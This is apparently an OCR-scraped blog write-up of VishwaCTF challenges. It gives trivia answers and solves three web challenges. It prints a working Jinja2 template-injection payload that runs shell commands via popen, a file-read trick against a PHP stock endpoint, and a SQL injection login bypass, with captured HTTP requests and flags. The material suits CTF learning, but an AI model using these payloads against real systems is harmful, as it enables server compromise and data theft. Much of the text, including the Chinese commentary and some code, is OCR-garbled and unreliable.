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Trivia 1

This is a Debian-derived Linux distribution managed and funded by Offensive Security If there are any spaces, use an “_” instead of it.

Kali Linux B Debian JRAE [ Linux K1THR, H Offensive Security & ¥ %t Bl .

vishwaCTF{Kali_Linux}

Trivia 2

Who coined the term virus in computer?Name any one. If there are any spaces, use an “_” instead of it.

vishwaCTF{Len_Adleman}
1983 4 11 H 3 H, #HHEME B (Fred Cohen) L/l i —FhEZ AT B P LS I B S KBIRA R, 8 3E$ 2 (Len
Adleman) #& fir & i E L 8 (computer viruses), FFERE — XK EN 22t S EIERRH .

Trivia 3


https://blog.csdn.net/weixin_46081055

The first virus to infect Windows 95 files is If there are any spaces, use an “_” instead of it.

Windows 95 T HJ % — ANk 12 FBoza, H HIEAF T —IIVLAD KA K.

vishwaCTF{Boza}

Web
Hey Buddy!

Hey Buddy, Give me your name | will display your name on my website. Yes exactly, there is nothing in this website.

{{8*9}} -72

(R () https://h3y-buddy.vishwactf.com

Hey, Buddy!

{{8*9}}

Submit

nE i IR BH
payload:

{{'"._class__._mro__[1].__subclasses__ ()[133].__init__._globals_ ['popen']("nl$IFS*").read()}}
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Pretty JREIUM Hex \n = Pretty m Hex Render \n =
1 GET /submit?name= 79
{{''. class . mro_[1]. subclasses ()[133] 80 56 @app. route (&#39;/viewd#39;)
.__init__.__globals__['popen'] ("nI$IFS*"). read( 81 57 def view():
) HTTP/1.1 82 58 source=&#34;8#34;
; 2 Host: h3y—buddy. vishwactf. com 83 59 with open (&#39;source. txt&#39;, &#34;r&#34;) as file:
3 Cookie: 7fc9daleelfal3ca31485752d559ch222= 84 60 for line in file.readlines():
" 59aa3426ed05d27396da4448c010413d 85 61 sourcet=|ine
* 4 Sec—Ch-Ua: " Not A;Brand";v="99", 86 62 return render_template_string (source)
1 "Chromium";v="92" 87
5 Sec—Ch-Ua-Mobile: ?0 88 63 if __name_ == &#39;_ main_ &#39;:
6 Upgrade—Insecure—Requests: 1 89 64 app. run (host=8#39;0. 0. 0. 0&#39;, port=8000, debug=False)
7 User—Agent: Mozilla/5.0 (Windows NT 10.0; 90
Win64; xé64) AppleWebKit/537.36 (KHTML, |ike 91 65 Flag is VishwaCTF {S3rv3r 1s 4fraiD of inj3c7ion}
Gecko) Chrome/92.0.4515.107 Safari/537.36 92 66 Flask
8 Accept: 93 67 &lt;plaintextégt;

text/html, application/xhtml+xml, application/xml 94 68 @app. route (8#39;/submit&#39;, methods=[&#39;GET&#39;])
;q=0. 9, image/avif, image/webp, image/apng, ¥/*;q=0 95 69 def submit():

.8, application/signed—exchange;v=b3;q=0.9 96 70 name = request. args. get (&#39;named#39;, &#39;unknown&#39;)

) 9 Sec-Fetch-Site: same-origin 97 71 name = name. split ()
10 Sec-Fetch—-Mode: navigate 98 72 name = name[0]

11 Sec—-Fetch-User: ?1 99 73 template = &#39;8&#39;8#39;

12 Sec—Fetch—Dest: document 100 74 &It; !DOCTYPE html&gt;

13 Referer: https://h3y-buddy. vishwactf. com/ 101 75 &lt;html&gt;

14 Accept—Encoding: gzip, deflate 102 76 &It ;headdgt;

15 Accept-Language: zh-CN, zh;g=0.9 103 77 &lt;link rel=8#34;icond#34;

16 Connection: close href=8#34;https://www. shareicon. net/data/2016/05/24/770117_people_512x512. png&#
@iy [« |>][5= omatches ({8}« [er T ) tmateh

Stock Bot

We have our online shop of computer related accessories. So for easy customer interaction we have made a stock bot which will give
you how many units of enlisted products are available.

x .. Stock Bot X [B https://h3y-buddy.vishwactf.com X | ==

B https://stOck-bOt.vishwactf.com

Stock Bot
Q No such product

Monitor

O 150

o 250




O 250

O No such product

message o

MEEE, KANBASRE

T
3ET /Products/check. php?product=gpu HTTP/1. 1

dost: stOck-b0t. vishwactf. com

Jookie: b96b3a2fd55855f68331485b8bc96038=
14daB8a7ba060127ba7811a6989¢53132

Sec—Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92"
Sec—Ch-Ua-Mobile: ?0

Jser—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
AppleWebKit/537.36 (KHTML, |ike Gecko)
Shrome/92. 0. 4515. 107 Safari/537.36

Accept: */*

Sec—Fetch-Site: same-origin

Sec—Fetch—Mode: cors

Sec—Fetch-Dest: empty

Referer: https://stOck-b0t. vishwactf. com/
Accept—Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0. 9

Jonnection: close

fib & Fifile_get_contents()izER A, ] DAE M FIIRADEL T 3k

GET /Products/check.php?product=check.php

@shuza

_rieuy g nex nenuer o =

1 HTTP/1.1 200 OK

2 date: Mon, 21 Mar 2022 08:18:53 GMT

3 server: Apache/2.4.37 (Red Hat Enterprise Linux)
OpenSSL/1. 1. 1k

4 content—length: 186

5 content—type: application/json

6 connection: close

y

8 <br />

9 <b>Warning</b>: file_get_contents(gpu): failed to open
stream: No such file or directory in <b>/opt/app-root/
src/Products/check. php</b> on line <b>10</b><br />

10 {"Quantity":false}

if(isset( ["product'])){
= ["product'];
header('Content-type: application\/json');
if(strpos( , 'Flag')){
= array('Flag' => file_get contents( ));
by
else{
= array('Quantity' => file_get_contents( ));
b
echo json_encode( )
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ey m nex AN -

GET /Products/check. php?product=F|ag HTTP/1.1
' Host: stOck—-b0t. vishwactf. com

} Cookie: b96b3a2fd55855f68331485b8bc96038=
14da8a7ba060127ba78f12a6989c53132
| Sec—Ch-Ua: " Not A;Brand";v="99",
i Sec—Ch-Ua—Mobile: ?0

y User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64)
AppleWebKit/537. 36 (KHTML, |ike Gecko) Chrome/92.0.4515. 107
Safari/537. 36

"Accept: */%

} Sec—Fetch-Site: same—origin

! Sec—-Fetch-Mode: cors

) Sec—Fetch-Dest: empty

Referer: https://stOck—b0t, vishwactf. com/

" Accept—-Encoding: gzip, deflate

| Accept-Language: zh—CN, zh;qg=0.9

I Connection: close

"Chromium";v="92"

My Useless Website

rlewy TR nex nenuer =

1 HTTP/1.1 200 OK

2 date: Mon, 21 Mar 2022 08:22:06 GMT

3 server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k
4 content-length: 46

5 content—type: application/json

6 connection: close

7
8 {"Quantity":"VishwaCTF {bOT knOw5 7h3 s3cr3t}"}

CSDN @shuzz

Description - | made this website having simple authentication used in it. But unfortunately | forgot the credentials. Can you help me to

find the correct one ??

B IR R SQLite B I
RARFEAN—TFRHRT

1 GET /?user=admin';&pass=123 HTTP/1. 1

2 Host: my-us31355-w3b51t3. vishwactf. com

3 Cookie: 653dd7bdadf4616b14aabef76cdf9a87=
1e65d25504b285131121eb1d5dcb84e1

4 Sec—Ch—Ua: " Not A;Brand”;v="99",

5 Sec—Ch-Ua—Mobile: ?0

6 Upgrade—Insecure—Requests: 1

7 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
AppleWebKit/537. 36 (KHTML, |ike Gecko) Chrome/92.0.4515.107
Safari/537.36

8 Accept:
text/html, application/xhtm|+xml, app|ication/xml;q=0.9, image/avif
, image/webp, image/apng, */%;g=0. 8, app| ication/signed-exchange;v=b
3;0=0.9

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: navigate

11 Sec—Fetch-User: 71

12 Sec-Fetch—Dest: document

13 Referer:
https://my—us31355-w3b51t3. vishwactf. com/?user=admin&pass=1234

14 Accept—Encoding: gzip, deflate

15 Accept-Language: zh—CN, zh;g=0.9

16 Connection: close

17

18

@ @ ‘EHEl ‘ Search...

"Chromium";v="92"

0 matches

Forensic

Keep the flag high

class="fa fa—lock"></i><{/span><{/button>

29 <span class="entypo—user inputUserlcon">

30 <{i class="fa fa—user"><{/i>

31 <{/span>

32 <input type="text" name="user" class="user" placeholder="
username” onkeypress="return AvoidSpace (event);" />

33 <span class="entypo—key inputPasslcon">

34 <{i class="fa fa-key"></i>

35 </span>

36 <input type="password" name="pass" class="pass"

placeholder="password" onkeypress="return AvoidSpace (event) ;"
/>

37 </form>

38 </Adiv>

39 </body>

40 <script>

41 function AvoidSpace(event) [ var k = event ? event.which :
window. event. keyCode; if (k == 32) return false; }

42 {/script>

43 </html>

44

45 <script>Swal. fire(

46 'You go the flag!',

47 'Flag is VishwaCTF{l KnOw YOu knOW t1hs 4lr3ady}"'

48 'success’

49 )</script>

@@ |EHEH Search.. C -*D-f I(Hiakcnas

The great Pirate Narao Gosco has your flag but pirates are hard to fight. Can you rotate the ch4n7es in your favor?
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